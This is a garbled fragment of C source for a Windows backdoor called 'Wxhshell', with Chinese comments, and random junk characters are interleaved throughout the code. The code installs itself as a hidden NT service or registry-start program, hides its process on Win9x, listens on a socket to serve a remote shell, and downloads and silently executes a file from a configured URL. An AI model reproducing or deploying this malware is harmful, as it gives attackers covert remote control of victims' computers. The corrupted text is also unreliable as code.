d7TA if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z?mg1;Q ;BVhkWA CloseHandle(hProcess); j!)p NZW.< LTct0Gh hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); db~ :5#* if(hProcess==NULL) return 0; /vMyf),2 :n9^:srGZH HMODULE hMod; H\bIO!vb char procName[255]; ~ }22 Dvo unsigned long cbNeeded; wm71,R1 #wiP{+%b if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NvZ?e =fo/+m5 CloseHandle(hProcess); ii9/ UtIQ ,+9r/}K]/ if(strstr(procName,"services")) return 1; // 以服务启动 gVkI=J uJ[Vv4N%9 return 0; // 注册表启动 xrnH=>.;m } Y1\vt+`O AgJ~6tK // 主模块 %T\x~) int StartWxhshell(LPSTR lpCmdLine) >6+K"J-@ { 8l0
(6x$ SOCKET wsl; "M &4c:cz BOOL val=TRUE; BB$>h-M/%# int port=0; ,&G
M\FTeb struct sockaddr_in door; V}-o):dI| -~fI|A ^ if(wscfg.ws_autoins) Install(); s3 $Q_8H R2W_/fsG port=atoi(lpCmdLine); -+_twU .?RjH6W if(port<=0) port=wscfg.ws_port; 4N j?UDa hh&y2#Io WSADATA data; 5zOSb$; if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B,,d~\ qH"a ! if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; -+|[0hpw setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v1)6")8o+ door.sin_family = AF_INET; Bnq\Gg door.sin_addr.s_addr = inet_addr("127.0.0.1"); yw!`1#3. door.sin_port = htons(port); AAgA]OD, >oDP(]YGg if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xS1|Z|& closesocket(wsl); \
6a return 1; 9YhsJ~"Q } 8$Yf#;m[ F DX+ if(listen(wsl,2) == INVALID_SOCKET) { 2Zip8f! closesocket(wsl); f34&:xz2U return 1; G|_aU8b|t } G. TX1 Wxhshell(wsl); 926oM77 WSACleanup(); "@$STptkc &y\2:IyA return 0; #"-^;Z yfQE8v+ } eCD,[At/ HC,@tfS // 以NT服务方式启动 &Sa~Wtm|* VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rK|&u
v*b { o#/iR]3 DWORD status = 0; D7/Bp4I#o DWORD specificError = 0xfffffff; |>GIPfVT H%aLkV!J serviceStatus.dwServiceType = SERVICE_WIN32; ;(6lN<iU serviceStatus.dwCurrentState = SERVICE_START_PENDING; |3ETF|)? serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $t'I*k^N serviceStatus.dwWin32ExitCode = 0; |Eu~=J7@ serviceStatus.dwServiceSpecificExitCode = 0; [zEP| serviceStatus.dwCheckPoint = 0; .
*xq = serviceStatus.dwWaitHint = 0; ped Yf{T HYmXPpse hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hATy3*4 if (hServiceStatusHandle==0) return; W[<":NX2 %[m1\h"1 status = GetLastError(); _!p3M3"$B if (status!=NO_ERROR) ~1sl.8tF { A"iD4Q serviceStatus.dwCurrentState = SERVICE_STOPPED; Q@VnJ, serviceStatus.dwCheckPoint = 0; a@ }r[0O serviceStatus.dwWaitHint = 0; d<nB=r!* serviceStatus.dwWin32ExitCode = status; olh3 R.M< serviceStatus.dwServiceSpecificExitCode = specificError; #)}bUNc' SetServiceStatus(hServiceStatusHandle, &serviceStatus); t'x:fO?cp return; o f } DNBpIC5&6 BK SK@OV serviceStatus.dwCurrentState = SERVICE_RUNNING; f`=T@nA serviceStatus.dwCheckPoint = 0; ^VPl>jTg serviceStatus.dwWaitHint = 0; )m;qv'=! if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ABmDSV5i } Uy|=A7Ad
c
7#qL9+G // 处理NT服务事件,比如:启动、停止 6FMW g:{ VOID WINAPI NTServiceHandler(DWORD fdwControl) F@roQQu { Nj&%xe>]. switch(fdwControl) ^|(4j_.(e { <W')
~o} case SERVICE_CONTROL_STOP: % ul{nL: serviceStatus.dwWin32ExitCode = 0; X>8?p'* serviceStatus.dwCurrentState = SERVICE_STOPPED; fhx:EZ:~ serviceStatus.dwCheckPoint = 0; ){6)?[G serviceStatus.dwWaitHint = 0; UVUO}B@[S { z>;+'>XXgx SetServiceStatus(hServiceStatusHandle, &serviceStatus); g@VndAp } _rd j,F8 return; 0(9@GIT case SERVICE_CONTROL_PAUSE: <dPxy`_ serviceStatus.dwCurrentState = SERVICE_PAUSED; $!C+i"q$ break; UDtbfc7bk case SERVICE_CONTROL_CONTINUE: \&)W#8V serviceStatus.dwCurrentState = SERVICE_RUNNING; #gJ~ {tA: break; lNVAKwW2# case SERVICE_CONTROL_INTERROGATE: )Hm[j)YI break; X`QW(rq }; ?$4R < SetServiceStatus(hServiceStatusHandle, &serviceStatus); E wsq0D } zb}+ m#q w?W e|x3 // 标准应用程序主函数 :P~&
b P int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H<7DcwXv { Ilu`b|%D ruA+1-<f // 获取操作系统版本 13_~)V OsIsNt=GetOsVer(); bRz^= GetModuleFileName(NULL,ExeFile,MAX_PATH); RXS| -_$ sxwW9_C // 从命令行安装 }Rxg E~F if(strpbrk(lpCmdLine,"iI")) Install(); "`*a)'.'^c yXo0z_ G // 下载执行文件
q,JA~GG if(wscfg.ws_downexe) { C;:L~)C@t if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6cT~irP WinExec(wscfg.ws_filenam,SW_HIDE); )-:eQ{st` } ]N <] %g@3S!lK if(!OsIsNt) { b_gN?F7_ // 如果时win9x,隐藏进程并且设置为注册表启动 TKu68/\) HideProc(); BRXb<M^;_ StartWxhshell(lpCmdLine); KSB_%OI1 } Yj7= T%5 else ^~<Rz q! if(StartFromService()) n!eqzr{ // 以服务方式启动 [aZ v?Z StartServiceCtrlDispatcher(DispatchTable); &Yf#O* else bZay/ Zkj // 普通方式启动 Hu(flc+z" StartWxhshell(lpCmdLine); A~GtK\=;
K M\+ return 0; x D=qU }
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